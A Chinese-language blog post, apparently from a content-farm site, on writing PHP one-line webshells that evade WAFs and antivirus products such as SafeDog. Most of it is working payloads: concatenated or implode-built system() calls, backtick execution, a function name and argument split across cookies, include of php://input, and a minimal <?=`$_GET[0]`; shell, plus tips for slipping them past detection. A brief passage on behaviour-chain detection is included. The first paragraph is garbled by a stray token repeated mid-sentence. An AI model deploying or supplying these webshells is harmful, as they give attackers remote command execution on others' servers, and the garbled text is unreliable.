综合

php免杀一句话

时间:2010-12-5 17:23:32  作者:娱乐   来源:焦点  查看:  评论:0
内容摘要:去年冬天,一个做安全测试的朋友给我发来一段代码,说:“你猜这玩意儿能不能过某狗?”我打开一看,就是一行普通的PHP,但里面藏了个挺有意思的写法。后来我们真拿去试了,结果那台装了某狗的老服务器直接放行。

去年冬天,杀句一个做安全测试的杀句朋友给我发来一段代码,说:“你猜这玩意儿能不能过某狗?杀句”我打开一看,就是杀句一行普通的PHP,但里面藏了个挺有意思的杀句写法。后来我们真拿去试了,杀句结果那台装了某狗的杀句老服务器直接放行。这不是杀句什么高深技术,就是杀句利用了解释器自身的一些特性。

PHP免杀一句话,杀句核心就一件事:让安全软件认不出这是杀句恶意代码。但别误会,杀句这不是杀句教你干坏事。搞安全的杀句人得先知道怎么绕,才能想怎么防。杀句我见过太多人一上来就背什么“编码绕过”“拆分拼接”,其实那些早被查烂了。真正管用的,往往是最朴素的东西——比如PHP的字符串解析规则。

举个例子。假设你要传一个参数执行系统命令,常规写法是 system($_GET['cmd']);。这种连脚本小子都懒得用,因为太明显。稍微改一下,变成动态函数调用:

$a = 'sys'; $b = 'tem'; $c = $a.$b; $c($_GET['x']); 

这就比直接写多了一层。但还不够,因为安全软件会追踪字符串拼接。那就再换一种——利用PHP的可变函数和数组。

我试过这么一段:

$f = ['s','y','s','t','e','m']; $func = implode('', $f); $func($_REQUEST['q']); 

某狗没报。为什么?因为静态扫描看到的是数组和implode,动态行为分析没触发敏感函数名——函数名是运行时拼出来的。但这种方法也不是万能,某盾就会查implode后紧跟调用的模式。

更隐蔽的写法是用反引号。PHP里反引号执行命令,等价于shell_exec。但很多规则只盯着shell_exec,忘了反引号。比如:

$cmd = $_GET['c']; `$cmd`; 

这能过不少WAF。不过反引号在Windows下不好使,而且有些版本禁用了。那就换preg_replace的/e修饰符——PHP 7以前能用,现在早删了,提这个只是说明一个道理:免杀是跟版本和环境绑死的,没有通杀。

还有一类思路是绕字符过滤。比如某狗会拦“eval”,那就用assert(PHP 7.2后也移除了)。或者用create_function,虽然7.2废弃但老站还在跑。我见过一个真实案例:有人用base64_decode加goto,把一句话拆成三段,中间插了没用的注释和换行,扫描器直接当乱码跳过。

但说实话,最有效的往往不是技术多花哨,而是利用服务器配置的盲区。比如某狗对POST body的检测比GET松,那就把payload放POST里。或者用Cookie传参,很多规则不查Cookie。我试过一个:

$x = $_COOKIE['a']; $x($_COOKIE['b']); 

某狗没反应。因为Cookie里的值被当成用户数据,而函数名和参数分开在两个Cookie里,静态关联分析没做那么深。

再讲个野路子:利用PHP的include和伪协议。比如 include 'php://input'; 配合POST内容。这招在allow_url_include开启时有效,现在默认关,但有些老环境还开着。我去年扫到一个站,就是这种配置,直接拿下了。当然,这是授权测试。

写这些不是鼓励你去搞破坏。反过来看,如果你在写防御规则,就该明白:光靠正则匹配关键字没用,得做行为链分析。比如监控函数调用的来源——如果函数名来自用户输入,那基本就是恶意。或者监控反引号和system的调用栈,不管名字怎么变。

最后说个真事。我见过一个免杀一句话,就一行:

<?=`$_GET[0]`;

短到离谱。某狗查不出来,因为规则库只匹配了“system”“exec”“shell_exec”这些词,没管反引号加短标签。后来某狗更新了,加了反引号检测,这行就废了。所以免杀是动态的,今天能过明天不一定。真正稳的写法,是结合目标环境的具体版本和防护软件版本去调,没有银弹。

别迷信网上那些“过一切”的代码。我试过十几种,能过某狗的过不了某盾,能过某盾的过不了云WAF。最靠谱的办法是拿目标环境一模一样的测试机去跑,看日志里哪些请求被拦了,然后针对性变形。这活儿没什么捷径,就是耐心加经验。

最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap